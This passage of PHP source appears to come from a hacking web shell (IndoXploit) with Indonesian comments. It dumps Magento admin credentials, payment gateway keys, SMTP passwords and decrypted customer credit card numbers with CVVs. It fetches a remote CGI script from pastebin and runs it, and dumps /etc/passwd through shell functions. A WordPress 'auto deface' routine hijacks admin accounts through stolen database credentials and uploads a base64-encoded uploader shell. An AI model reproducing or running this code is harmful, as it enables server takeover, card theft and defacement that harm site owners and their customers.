3909if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
3910 $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
3911 if(isset($xml->global->resources->default_setup->connection)) {
3912 $connection = $xml->global->resources->default_setup->connection;
3913 $prefix = $xml->global->resources->db->table_prefix;
3914 $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
3915 require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';
3916
3917 try {
3918 $app = Mage::app('default');
3919 Mage::getSingleton('core/session', array('name'=>'frontend'));
3920 }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>\n";}
3921
3922 if (!mysql_connect($connection->host, $connection->username, $connection->password)){
3923 print("Could not connect: " . mysql_error());
3924 }
3925 mysql_select_db($connection->dbname);
3926 echo $connection->host." | ".$connection->username." | ".$connection->password." | ".$connection->dbname." | $prefix | $key<br/>\n";
3927
3928 $crypto = new Varien_Crypt_Mcrypt();
3929 $crypto->init($key);
3930
3931 //=========================================================================================================
3932 $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
3933 if (!$query){
3934 echo "<center><b>Gagal</b></center>";
3935 }else{
3936 $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
3937 echo'<center><br><br>
3938 ====================================================================<br>
3939 [ Daftar Admin yang terdaftar di : '.$site['website'].'] <br>
3940 ====================================================================<br></center>';
3941 }
3942 echo "
3943 <table border='1' align='center' >
3944 <tr>
3945 <td>id</td>
3946 <td>firstname</td>
3947 <td>lastname</td>
3948 <td>email</td>
3949 <td>username</td>
3950 <td>password</td>
3951 </tr>";
3952 while($vx = mysql_fetch_array($query)) {
3953 $no = 1;
3954 $user_id = $vx['user_id'];
3955 $username = $vx['username'];
3956 $password = $vx['password'];
3957 $email = $vx['email'];
3958 $firstname = $vx['firstname'];
3959 $lastname = $vx['lastname'];
3960 echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
3961 }
3962 echo "</table><br>";
3963 //=========================================================================================================
3964 $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
3965 if(mysql_num_rows($query) != 0){
3966 if (!$query){
3967 echo "<center><b>Gagal</b></center>";
3968 }else{
3969 echo'<br><br>
3970 ====================================================================<br>
3971 [ Authorizenet ] <br>
3972 ====================================================================<br>';
3973 }
3974 echo "
3975 <table border='1' align='center' >
3976 <tr>
3977 <td>no</td>
3978 <td>user</td>
3979 <td>pass</td>
3980 </tr>";
3981 $no = 1;
3982 while($vx = mysql_fetch_array($query)) {
3983 $user = $crypto->decrypt($vx['user']);
3984 $pass = $crypto->decrypt($vx['pass']);
3985
3986
3987 echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
3988 $no++;
3989 }
3990 echo "</table><br>";
3991 }
3992 //=========================================================================================================
3993 $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
3994 if(mysql_num_rows($query_smtp) != 0){
3995 if (!$query_smtp){
3996 echo "<center><b>Gagal</b></center>";
3997 }else{
3998 echo'<br><br>
3999 ====================================================================<br>
4000 [ SMTP ] <br>
4001 ====================================================================<br>';
4002 }
4003 echo "
4004 <table border='1' align='center' >
4005 <tr>
4006 <td>no</td>
4007 <td>host</td>
4008 <td>port</td>
4009 <td>user</td>
4010 <td>pass</td>
4011 </tr>";
4012 $no = 1;
4013 $batas = 0;
4014 while($rows = mysql_fetch_array($query_smtp)) {
4015 $smtphost = $rows[0];
4016 $smtpport = $rows[1];
4017 $smtpuser = $rows[2];
4018 $smtppass = $rows[3];
4019 echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
4020 $no++;
4021 }
4022 echo "</table><br>";
4023 }
4024 //=========================================================================================================
4025 $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
4026 $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
4027 if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
4028 echo'<br><br>
4029 ====================================================================<br>
4030 [ Credit Card ] <br>
4031 ====================================================================<br>';
4032 echo "
4033 <table border='1' align='left' align='center'>
4034 <tr>
4035 <td>no</td>
4036 <td>Date</td>
4037 <td>Credit Owner</td>
4038 <td>method</td>
4039 <td>Credit Number</td>
4040 <td>Credit Exp</td>
4041 <td>CVV</td>
4042 <td>Address</td>
4043 </tr>";
4044 $no = 1;
4045 $batas = 0;
4046 while($vx = mysql_fetch_array($query)){
4047 $date = $vx['updated_at'];
4048 $cc_owner = $vx['cc_owner'];
4049 $method = $vx['method'];
4050 $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
4051 $exp = $vx['exp'];
4052 $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
4053 $Billing_Address = $vx['Billing Address'];
4054 echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
4055 $batas = $no++;
4056 }
4057
4058 while($vx2 = mysql_fetch_array($query2)){
4059 $batas +=1;
4060 $cc_owner = $vx2['cc_owner'];
4061 $method = $vx2['method'];
4062 $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
4063 $exp = $vx2['exp'];
4064 $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
4065 $Billing_Address = $vx2['Billing Address'];
4066 echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
4067 $batas++;
4068 }
4069
4070 echo "</table><br><br>";
4071 }
4072 //=========================================================================================================
4073 $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
4074 $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");
4075
4076
4077 if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
4078 if (!$query){
4079 echo "<center><b>Gagal</b></center>";
4080 }else{
4081 echo'<br><br>
4082 ====================================================================<br>
4083 [ Customer ] <br>
4084 ====================================================================<br>';
4085 }
4086 echo "
4087 <table border='1' align='center' >
4088 <tr>
4089 <td>no</td>
4090 <td>user</td>
4091 <td>pass</td>
4092 </tr>";
4093 $no = 1;
4094 $batas = 0;
4095 while($vx = mysql_fetch_array($query)) {
4096 $user = $vx['email'];
4097 $pass = $vx['value'];
4098 echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
4099 $batas = $no++;
4100 }
4101
4102 if(mysql_num_rows($query2) != 0 && ($query2)){
4103 while($vx2 = mysql_fetch_array($query2)){
4104 $user = $vx2['customer_email'];
4105 $pass = $crypto->decrypt($vx2['password_hash']);
4106 if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampiin
4107 $batas +=1;
4108 echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
4109 $batas++;
4110 }
4111 }
4112 }
4113
4114 echo "</table><br>";
4115 }
4116 //=========================================================================================================
4117 }
4118}
4119function save($format,$data){
4120 $fp = fopen($format, 'a');
4121 fwrite($fp, $data);
4122 fclose($fp);
4123}
4124function cekbase64($string){
4125 $decoded = base64_decode($string, true);
4126 if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $string)) return false;
4127 if(!base64_decode($string, true)) return false;
4128 if(base64_encode($decoded) != $string) return false;
4129 return true;//nilai return 1 jika true
4130 }
4131//----untuk decode password ---/
4132class Varien_Crypt_Mcrypt{
4133 /**
4134 * Constuctor
4135 *
4136 * @param array $data
4137 */
4138 public function __construct()
4139 {
4140 }
4141
4142 /**
4143 * Initialize mcrypt module
4144 *
4145 * @param string $key cipher private key
4146 * @return Varien_Crypt_Mcrypt
4147 */
4148 public function init($key)
4149 {
4150 $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
4151 $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
4152 $maxKeySize = mcrypt_enc_get_key_size($this->handler);
4153
4154 if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
4155 //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
4156 return null;
4157 }
4158
4159 mcrypt_generic_init($this->handler, $key, $iv);
4160
4161 return $this;
4162 }
4163
4164 /**
4165 * Encrypt data
4166 *
4167 * @param string $data source string
4168 * @return string
4169 */
4170 public function encrypt($data)
4171 {
4172 if (!$this->handler) {
4173 //throw new Varien_Exception('Crypt module is not initialized.');
4174 return null;
4175 }
4176 if (strlen($data) == 0) {
4177 return $data;
4178 }
4179 return base64_encode(mcrypt_generic($this->handler, $data));
4180 }
4181
4182 /**
4183 * Decrypt data
4184 *
4185 * @param string $data encrypted string
4186 * @return string
4187 */
4188 public function decrypt($data)
4189 {
4190 if (!$this->handler) {
4191 //throw new Varien_Exception('Crypt module is not initialized.');
4192 return null;
4193 }
4194 if (strlen($data) == 0) {
4195 return $data;
4196 }
4197 return mdecrypt_generic($this->handler, base64_decode($data));
4198 }
4199
4200
4201 /**
4202 * Desctruct cipher module
4203 *
4204 */
4205 public function __destruct()
4206 {
4207 if ($this->handler) {
4208 $this->_reset();
4209 }
4210 }
4211
4212 protected function _reset()
4213 {
4214 mcrypt_generic_deinit($this->handler);
4215 mcrypt_module_close($this->handler);
4216 }
4217}
4218}
4219elseif($_GET['do'] == 'cgi') {
4220 $cgi_dir = mkdir('cegei', 0755);
4221 $file_cgi = "cegei/cgi.izo";
4222 $isi_htcgi = "AddHandler cgi-script .izo";
4223 $htcgi = fopen(".htaccess", "w");
4224 $cgi_script = file_get_contents("http://pastebin.com/raw/sTDdJDhk");
4225 $cgi = fopen($file_cgi, "w");
4226 fwrite($cgi, $cgi_script);
4227 fwrite($htcgi, $isi_htcgi);
4228 chmod($file_cgi, 0755);
4229 echo "<iframe src='cegei/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
4230} elseif($_GET['do'] == 'fake_root') {
4231 ob_start();
4232 function reverse($url) {
4233 $ch = curl_init("http://domains.yougetsignal.com/domains.php");
4234 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
4235 curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
4236 curl_setopt($ch, CURLOPT_HEADER, 0);
4237 curl_setopt($ch, CURLOPT_POST, 1);
4238 $resp = curl_exec($ch);
4239 $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
4240 $array = explode(",,", $resp);
4241 unset($array[0]);
4242 foreach($array as $lnk) {
4243 $lnk = "http://$lnk";
4244 $lnk = str_replace(",", "", $lnk);
4245 echo $lnk."\n";
4246 ob_flush();
4247 flush();
4248 }
4249 curl_close($ch);
4250 }
4251 function cek($url) {
4252 $ch = curl_init($url);
4253 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
4254 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
4255 $resp = curl_exec($ch);
4256 return $resp;
4257 }
4258 $cwd = getcwd();
4259 $ambil_user = explode("/", $cwd);
4260 $user = $ambil_user[2];
4261 if($_POST['reverse']) {
4262 $site = explode("\r\n", $_POST['url']);
4263 $file = $_POST['file'];
4264 foreach($site as $url) {
4265 $cek = cek("$url/~$user/$file");
4266 if(preg_match("/hacked/i", $cek)) {
4267 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
4268 }
4269 }
4270 } else {
4271 echo "<center><form method='post'>
4272 Filename: <br><input type='text' name='file' value='m1x.html' size='50' height='10'><br>
4273 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
4274 Domain: <br>
4275 <textarea style='width: 450px; height: 250px;' name='url'>";
4276 reverse($_SERVER['HTTP_HOST']);
4277 echo "</textarea><br>
4278 <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
4279 </form><br>
4280 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
4281 }
4282} elseif($_GET['do'] == 'adminer') {
4283 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
4284 function adminer($url, $isi) {
4285 $fp = fopen($isi, "w");
4286 $ch = curl_init();
4287 curl_setopt($ch, CURLOPT_URL, $url);
4288 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
4289 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
4290 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
4291 curl_setopt($ch, CURLOPT_FILE, $fp);
4292 return curl_exec($ch);
4293 curl_close($ch);
4294 fclose($fp);
4295 ob_flush();
4296 flush();
4297 }
4298 if(file_exists('adminer.php')) {
4299 echo "<br><center><font color=lime><a href='$full/adminer.php' target='_blank'>-> Adminer Login Here <-</a></font></center><br>";
4300 } else {
4301 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
4302 echo "<br><center><font color=lime><a href='$full/adminer.php' target='_blank'>-> Adminer Login Here <-</a></font></center><br>";
4303 } else {
4304 echo "<br><center><font color=red>gagal buat file adminer</font></center><br>";
4305 }
4306 }
4307}elseif($_GET['do'] == 'passwbypass') {
4308 echo '<br><center>Bypass /etc/passwd With :<br>
4309<table style="width:50%">
4310 <tr>
4311 <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
4312 <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
4313 <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
4314 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
4315 <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="mix"></form></td>
4316</tr></table>Bypass User With : <table style="width:50%">
4317<tr>
4318 <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
4319 <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
4320 <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
4321 <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
4322 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
4323</tr>
4324</table><br>';
4325
4326
4327if ($_POST['awkuser']) {
4328echo"<textarea class='inputzbut' cols='65' rows='15'>";
4329echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
4330echo "</textarea><br>";
4331}
4332if ($_POST['systuser']) {
4333echo"<textarea class='inputzbut' cols='65' rows='15'>";
4334echo system("ls /var/mail");
4335echo "</textarea><br>";
4336}
4337if ($_POST['passthuser']) {
4338echo"<textarea class='inputzbut' cols='65' rows='15'>";
4339echo passthru("ls /var/mail");
4340echo "</textarea><br>";
4341}
4342if ($_POST['exuser']) {
4343echo"<textarea class='inputzbut' cols='65' rows='15'>";
4344echo exec("ls /var/mail");
4345echo "</textarea><br>";
4346}
4347if ($_POST['shexuser']) {
4348echo"<textarea class='inputzbut' cols='65' rows='15'>";
4349echo shell_exec("ls /var/mail");
4350echo "</textarea><br>";
4351}
4352if($_POST['syst'])
4353{
4354echo"<textarea class='inputz' cols='65' rows='15'>";
4355echo system("cat /etc/passwd");
4356echo"</textarea><br><br><b></b><br>";
4357}
4358if($_POST['passth'])
4359{
4360echo"<textarea class='inputz' cols='65' rows='15'>";
4361echo passthru("cat /etc/passwd");
4362echo"</textarea><br><br><b></b><br>";
4363}
4364if($_POST['ex'])
4365{
4366echo"<textarea class='inputz' cols='65' rows='15'>";
4367echo exec("cat /etc/passwd");
4368echo"</textarea><br><br><b></b><br>";
4369}
4370if($_POST['shex'])
4371{
4372echo"<textarea class='inputz' cols='65' rows='15'>";
4373echo shell_exec("cat /etc/passwd");
4374echo"</textarea><br><br><b></b><br>";
4375}
4376echo '<center>';
4377if($_POST['mix'])
4378{
4379echo"<textarea class='inputz' cols='65' rows='15'>";
4380for($uid=0;$uid<60000;$uid++){
4381$ara = posix_getpwuid($uid);
4382if (!empty($ara)) {
4383while (list ($key, $val) = each($ara)){
4384print "$val:";
4385}
4386print "\n";
4387}
4388}
4389echo"</textarea><br><br>";
4390}
4391//
4392
4393//
4394} elseif($_GET['do'] == 'auto_dwp') {
4395 if($_POST['auto_deface_wp']) {
4396 function anucurl($sites) {
4397 $ch = curl_init($sites);
4398 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4399 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4400 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
4401 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
4402 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4403 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
4404 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
4405 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
4406 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
4407 $data = curl_exec($ch);
4408 curl_close($ch);
4409 return $data;
4410 }
4411 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
4412 $post = array(
4413 "log" => "$userr",
4414 "pwd" => "$pass",
4415 "rememberme" => "forever",
4416 "wp-submit" => "$wp_submit",
4417 "redirect_to" => "$web",
4418 "testcookie" => "1",
4419 );
4420 $ch = curl_init($cek);
4421 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4422 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4423 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
4424 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4425 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
4426 curl_setopt($ch, CURLOPT_POST, 1);
4427 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
4428 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
4429 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
4430 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
4431 $data = curl_exec($ch);
4432 curl_close($ch);
4433 return $data;
4434 }
4435 $scan = $_POST['link_config'];
4436 $link_config = scandir($scan);
4437 $script = htmlspecialchars($_POST['script']);
4438 $user = "m1xm1xm1x";
4439 $pass = "m1xm1xm1x";
4440 $passx = md5($pass);
4441 foreach($link_config as $dir_config) {
4442 if(!is_file("$scan/$dir_config")) continue;
4443 $config = file_get_contents("$scan/$dir_config");
4444 if(preg_match("/WordPress/", $config)) {
4445 $dbhost = ambilkata($config,"DB_HOST', '","'");
4446 $dbuser = ambilkata($config,"DB_USER', '","'");
4447 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
4448 $dbname = ambilkata($config,"DB_NAME', '","'");
4449 $dbprefix = ambilkata($config,"table_prefix = '","'");
4450 $prefix = $dbprefix."users";
4451 $option = $dbprefix."options";
4452 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
4453 $db = mysql_select_db($dbname);
4454 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
4455 $result = mysql_fetch_array($q);
4456 $id = $result[ID];
4457 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
4458 $result2 = mysql_fetch_array($q2);
4459 $target = $result2[option_value];
4460 if($target == '') {
4461 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
4462 } else {
4463 echo "[+] $target <br>";
4464 }
4465 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
4466 if(!$conn OR !$db OR !$update) {
4467 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
4468 mysql_close($conn);
4469 } else {
4470 $site = "$target/wp-login.php";
4471 $site2 = "$target/wp-admin/theme-install.php?upload";
4472 $b1 = anucurl($site2);
4473 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
4474 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
4475 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
4476 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
4477 $www = "m.php";
4478 $fp5 = fopen($www,"w");
4479 fputs($fp5,$upload3);
4480 $post2 = array(
4481 "_wpnonce" => "$anu2",
4482 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
4483 "themezip" => "@$www",
4484 "install-theme-submit" => "Install Now",
4485 );
4486 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
4487 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4488 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4489 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4490 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
4491 curl_setopt($ch, CURLOPT_POST, 1);
4492 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
4493 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
4494 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
4495 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
4496 $data3 = curl_exec($ch);
4497 curl_close($ch);
4498 $y = date("Y");
4499 $m = date("m");
4500 $namafile = "id.php";
4501 $fpi = fopen($namafile,"w");
4502 fputs($fpi,$script);
4503 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
4504 curl_setopt($ch6, CURLOPT_POST, true);
4505 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
4506 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
4507 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
4508 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
4509 curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
4510 $postResult = curl_exec($ch6);
4511 curl_close($ch6);
4512 $as = "$target/k.php";
4513 $bs = anucurl($as);
4514 if(preg_match("#$script#is", $bs)) {
4515 echo "[+] <font color='lime'>berhasil mepes...</font><br>";
4516 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
4517 } else {
4518 echo "[-] <font color='red'>gagal mepes...</font><br>";
4519 echo "[!!] coba aja manual: <br>";
4520 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
4521 echo "[+] username: <font color=lime>$user</font><br>";
4522 echo "[+] password: <font color=lime>$pass</font><br><br>";
4523 }
4524 mysql_close($conn);
4525 }
4526 }
4527 }
4528 } else {
4529 echo "<center><h1>WordPress Auto Deface</h1>
4530 <form method='post'>
4531 <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
4532 <input type='text' name='script' height='10' size='50' placeholder='Hacked By m1x' required><br>
4533 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
4534 </form>
4535 <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
4536 </center>";
4537 }
4538} elseif($_GET['do'] == 'auto_dwp2') {
4539 if($_POST['auto_deface_wp']) {
4540 function anucurl($sites) {
4541 $ch = curl_init($sites);
4542 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4543 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4544 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
4545 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
4546 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4547 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
4548 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
4549 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
4550 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
4551 $data = curl_exec($ch);
4552 curl_close($ch);
4553 return $data;
4554 }
4555 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
4556 $post = array(
4557 "log" => "$userr",
4558 "pwd" => "$pass",
4559 "rememberme" => "forever",
4560 "wp-submit" => "$wp_submit",
4561 "redirect_to" => "$web",
4562 "testcookie" => "1",
4563 );
4564 $ch = curl_init($cek);
4565 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4566 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
4567 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
4568 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4569 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
4570 curl_setopt($ch, CURLOPT_POST, 1);
4571 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
4572 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
4573 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
4574 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
4575 $data = curl_exec($ch);
4576 curl_close($ch);
4577 return $data;
4578 }
4579 $link = explode("\r\n", $_POST['link']);
4580 $script = htmlspecialchars($_POST['script']);
4581 $user = "indoxploit";
4582 $pass = "indoxploit";
4583 $passx = md5($pass);
4584 foreach($link as $dir_config) {
4585 $config = anucurl($dir_config);
4586 $dbhost = ambilkata($config,"DB_HOST', '","'");
4587 $dbuser = ambilkata($config,"DB_USER', '","'");
4588 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
4589 $dbname = ambilkata($config,"DB_NAME', '","'");
4590 $dbprefix = ambilkata($config,"table_prefix = '","'");
4591 $prefix = $dbprefix."users";
4592 $option = $dbprefix."options";
4593 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
4594 $db = mysql_select_db($dbname);
4595 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
4596 $result = mysql_fetch_array($q);
4597 $id = $result[ID];
4598 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
4599 $result2 = mysql_fetch_array($q2);
4600 $target = $result2[option_value];
4601 if($target == '') {
4602 echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
4603 } else {
4604 echo "[+] $target <br>";
4605 }
4606 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
4607 if(!$conn OR !$db OR !$update) {
4608 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
4609 mysql_close($conn);
4610 } else {
4611 $site = "$target/wp-login.php";
4612 $site2 = "$target/wp-admin/theme-install.php?upload";
4613 $b1 = anucurl($site2);
4614 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
4615 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
4616 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
